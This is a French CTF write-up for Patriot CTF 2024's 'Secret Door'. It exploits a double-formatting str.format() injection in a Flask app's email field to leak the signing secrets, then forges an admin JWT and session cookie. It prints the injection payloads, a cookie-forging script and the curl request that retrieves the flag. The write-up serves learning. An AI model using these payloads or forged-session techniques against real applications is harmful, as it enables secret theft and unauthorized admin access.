Aller au contenu
  1. Writeups/

Patriot CTF 2024: Secret Door

Fayred
Auteur
Fayred
Passionné par l’informatique en général et plus particulièrement par la sécurité informatique. Amateur de CTFs et débutant en Bug Bounty, je cherche avant tout à apprendre, m’amuser et partager ce que j’ai appris.
Sommaire

Énoncé
#

knock knock…

http://chal.competitivecyber.club:1337

Author: sans909

Aperçu
#

Le challenge fournit le code source de l’application. L’arborescence complète n’est pas indispensable à la résolution, mais permet de repérer les routes et les utilitaires utilisés plus loin.

Afficher l'arborescence
.
├── build-docker.sh
├── challenge
│   ├── app.py
│   ├── blueprints
│   │   ├── api_routes.py
│   │   └── web_routes.py
│   ├── config.py
│   ├── database.py
│   ├── requirements.txt
│   ├── run.py
│   ├── static
│   ├── templates
│   │   ├── 403.html
│   │   ├── 404.html
│   │   ├── admin.html
│   │   ├── base.html
│   │   ├── home.html
│   │   ├── login.html
│   │   ├── personal-logs.html
│   │   ├── register.html
│   │   └── update-email.html
│   └── util.py
├── config
│   └── supervisord.conf
├── Dockerfile
└── entrypoint.sh

5 directories, 21 files

Le site propose une page de connexion et d’enregistrement. Une fois connecté, quatre routes supplémentaires sont accessibles :

  • /home
  • /update-email
  • /update-logs
  • /logout

Les deux routes intéressantes sont /update-email, qui modifie l’adresse e-mail, et /update-logs, qui affiche l’historique des modifications. L’objectif est d’atteindre /admin avec le rôle admin : cette route récupère alors le flag depuis la variable d’environnement FLAG.

@web.route('/admin')
@is_admin
def admin_home():
    flag = current_app.config['FLAG']
    return render_template('admin.html', flag=flag)

Résolution
#

Identifier la format string vulnérable
#

La route /update-email, définie dans api_routes.py, construit le message enregistré dans les logs :

@api.route('/update-email', methods=["POST"])
@is_authenticated
def update_email():
    if not request.is_json:
        return abort(400, 'Invalid POST format!')
    data = request.get_json()
    new_email = data.get('email', '')
    if not is_valid_email(new_email):
        return abort(401, 'Invalid Email')
    # Get old email address
    token = session.get('auth')
    decoded_token = verify_JWT(token)
    old_email = decoded_token["email"]
    # Logging Data
    time = datetime.now()
    update_date = time.strftime("%Y-%m-%d %H:%M:%S")
    log_text = f"Email updated to {new_email} at {update_date}"
    log_text = log_text.format(new_email=new_email, timestamp=timestamp, update_date=update_date)
    # Update users
    call_procedure("update_user_email", (old_email, new_email))
    # Insert Logs
    log_text = escape_html(log_text)
    call_procedure("insert_log", (new_email, log_text))
    # Log out of the page
    session['auth'] = None
    return redirect(url_for('web.logout'))

new_email est d’abord interpolé dans une f-string, puis le résultat est interprété une seconde fois par str.format(). Une adresse contenant des accolades devient donc un champ de format contrôlé par l’utilisateur.

Trois objets sont exposés à format() : new_email, timestamp et update_date. Le plus intéressant est la fonction timestamp, définie dans util.py :

from functools import wraps
from flask import abort, session
import hashlib
import os
import jwt
import datetime
import re

def generate_key(x): return os.urandom(x).hex()

FLASK_SECRET_KEY = generate_key(256)
jwt_key = generate_key(256)

[...]

def timestamp():
    return datetime.now()

Les champs de remplacement de str.format() permettent de parcourir les attributs et les index d’un objet. En partant de timestamp, timestamp.__globals__ donne donc accès aux variables globales du module util.py, notamment FLASK_SECRET_KEY et jwt_key.

Le payload reste une adresse valide tout en déclenchant cette traversée :

{timestamp.__globals__}@a

La partie @a est nécessaire, car la valeur envoyée doit aussi valider la regex de is_valid_email() :

email_regex = r'([#-\'*+/-9=?A-Z^-~-]+(\.[#-\'*+/-9=?A-Z^-~-]+)*|"([]#-[^-~ \t]|(\\[\t -~]))+")@([#-\'*+/-9=?A-Z^-~-]+(\.[#-\'*+/-9=?A-Z^-~-]+)*|\[[\t -Z^-~]*])'
if re.fullmatch(email_regex, email, re.IGNORECASE):
    return True
return False

Après la mise à jour, le contenu formaté est consultable dans les logs et révèle les deux secrets :

Email updated to {'__name__': 'util', [...],
'FLASK_SECRET_KEY': 'c52c9fb7150d32b182ef3c0f1b07c26d37762e72e872a41110639e8688f25b0108e836732f740a5fe00f37a2fcc7398dbe0d8d50b51876549e45497003d852b94fb45c943bf36f05935911935e06c7d761f3419934609f97ed2559c777b8a647dcca1d718382c1dbb242c4cfd09e14c68be93e8ed94ff6f2d07a787ac776cebdd97139e396fc0e6e11397f674e20eaa0bedaa55b861a3712f762add6c3ccfb8aede6427326deaec5519bb0c7b1e186d8f6d869cc7d79143537ee5846dfebd153145b5090914a089db16cd158b27505f9c9c487a2da010a846433fbbc23668e93f290e8f7bf5e8f71891eb427d1a21f961a84ad48713ddb6f235c8f8b979f2e0d', 
'jwt_key': '6fe660af3a43ef98147a3ea199e9dbe8b2b387ddaec723d6e9ca1124c7804a85fb9ae03696cad277221b9fbd15bb495314d3d4bfba103cd672bde9a3c0c3edb5ba3730aa6a169b593c24d2f507fbcdc3c8ef3648d295a51987b3774993b0852d866d1c15683f3a35bd45019c2c355548cefdd70a640ef850a4bf3371100fb69f74f9143c3968302d8fba9ca64d456ce6cfb07982b5e35be04abdd273e5eceab1a661b3190bdb369c7aa96c10553acfceb23a1d9d9a534e485c2ee32d57dbb7d93fda63c860432dbf25b1b6f78f2e625feac6fd56d2bddc70919514ff39a22ee473731716ae79340dae269753bcd354516c3361e872275ba022cb303140c4eca7', 
[...], 'escape_html': <function escape_html at 0x7f5accdaf4c0>}@a at 2024-09-24 19:15:19

Une seconde approche consiste à lire directement FLAG via le module os, importé dans util.py, avec {timestamp.__globals__[os].environ[FLAG]}@a.

Forger la session d’un administrateur
#

L’authentification utilise deux signatures. jwt_key permet de créer le JWT contenant le rôle admin, tandis que FLASK_SECRET_KEY permet à Flask de signer le cookie de session qui transporte ce JWT.

Le script suivant reprend la fonction create_JWT() de l’application, place le token forgé dans session['auth'], puis laisse Flask produire un cookie valide :

import datetime
import jwt
from flask import Flask, session, request

# FLASK_SECRET_KEY and jwt_key leak
# {timestamp.__globals__}@a

app = Flask(__name__)
app.config['SESSION_COOKIE_HTTPONLY'] = False
app.config['SECRET_KEY'] = 'c52c9fb7150d32b182ef3c0f1b07c26d37762e72e872a41110639e8688f25b0108e836732f740a5fe00f37a2fcc7398dbe0d8d50b51876549e45497003d852b94fb45c943bf36f05935911935e06c7d761f3419934609f97ed2559c777b8a647dcca1d718382c1dbb242c4cfd09e14c68be93e8ed94ff6f2d07a787ac776cebdd97139e396fc0e6e11397f674e20eaa0bedaa55b861a3712f762add6c3ccfb8aede6427326deaec5519bb0c7b1e186d8f6d869cc7d79143537ee5846dfebd153145b5090914a089db16cd158b27505f9c9c487a2da010a846433fbbc23668e93f290e8f7bf5e8f71891eb427d1a21f961a84ad48713ddb6f235c8f8b979f2e0d'
jwt_key = '6fe660af3a43ef98147a3ea199e9dbe8b2b387ddaec723d6e9ca1124c7804a85fb9ae03696cad277221b9fbd15bb495314d3d4bfba103cd672bde9a3c0c3edb5ba3730aa6a169b593c24d2f507fbcdc3c8ef3648d295a51987b3774993b0852d866d1c15683f3a35bd45019c2c355548cefdd70a640ef850a4bf3371100fb69f74f9143c3968302d8fba9ca64d456ce6cfb07982b5e35be04abdd273e5eceab1a661b3190bdb369c7aa96c10553acfceb23a1d9d9a534e485c2ee32d57dbb7d93fda63c860432dbf25b1b6f78f2e625feac6fd56d2bddc70919514ff39a22ee473731716ae79340dae269753bcd354516c3361e872275ba022cb303140c4eca7'

def create_JWT(email: str, role='regular'):
    utc_time = datetime.datetime.now(datetime.timezone.utc)
    token_expiration = utc_time + datetime.timedelta(minutes=1000)
    data = {'email': email, 'exp': token_expiration, 'role': role}
    encoded = jwt.encode(data, jwt_key, algorithm='HS256')
    return encoded

@app.route('/')
def get_token():
    email = request.args.get('email') if request.args.get('email') else '[email protected]'
    role = request.args.get('role') if request.args.get('role') else 'admin'
    session['auth'] = create_JWT(email, role)
    return '<script>document.write(document.cookie)</script>'

app.run()

En ouvrant la route locale du script, le navigateur reçoit la session signée :

session=.eJxFzMsKgkAYhuF78QLEU5YtS5RfUDHN0yacUXF0RoTRaozuPV21-DYvH89Hqpa5k85SI7wOuZiExIP7CmpAgMN4O-ArmDBMeXr1LHk7UZQ5E9ojcwaU0SVygyfKL7R2qVLlJS10SsoclkJ7q8WOsNTYET_BIlhB2yZ88SKYWbyM_w6Mimz4TeoAZ1x9hLXZJjw6xqPbNGEr5r4PDL1WEu1k22wypO8PPjc_Hg.ZvMXNw.B3RDEy103cr1ZjNcEvk6aiVTzv4

Exploitation
#

Il ne reste plus qu’à envoyer ce cookie à la route /admin :

$ curl -H "Cookie: session=.eJxFzEsOgjAUQNG9sAACqCQ4QxLwoVSUX2FGK5FCSwg_BePelZHTm5vzlvJxKKW9VMxuSRzKLsyFaAEVMeihue2oBTrULY4t15B_EyeJ3ZI1CrsmCR-vDpoIPvC7w5UcZzzdcJZhGFPtpaYrIuLtinghndECGlpqFc1PRoXRZ8HfgUaRhSmGU-AXFIe62UxdB2c_MQbPL_GoWOxhiyLxlOq4VJH0-QJDVT_K.ZvMaFQ.SeRPsegU7phX7Hdjx20Q8SZ1G8s" http://chal.competitivecyber.club:1337/admin

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Admin Page</title>
</head>
<body>
    <h1>Admin Page</h1>
    
        <p>The flag: pctf{str_f1rm4t_1s_k1nd8_c00l_7712817812}</p>
    
</body>
</html>

FLAG: pctf{str_f1rm4t_1s_k1nd8_c00l_7712817812}

Conclusion
#

La vulnérabilité vient de la seconde interprétation d’une donnée contrôlée par l’utilisateur par str.format(). La traversée de timestamp.__globals__ révèle les deux secrets nécessaires : l’un signe le JWT administrateur, l’autre la session Flask qui le contient. Avec ces deux couches correctement forgées, /admin retourne le flag.

Références
#

Articles connexes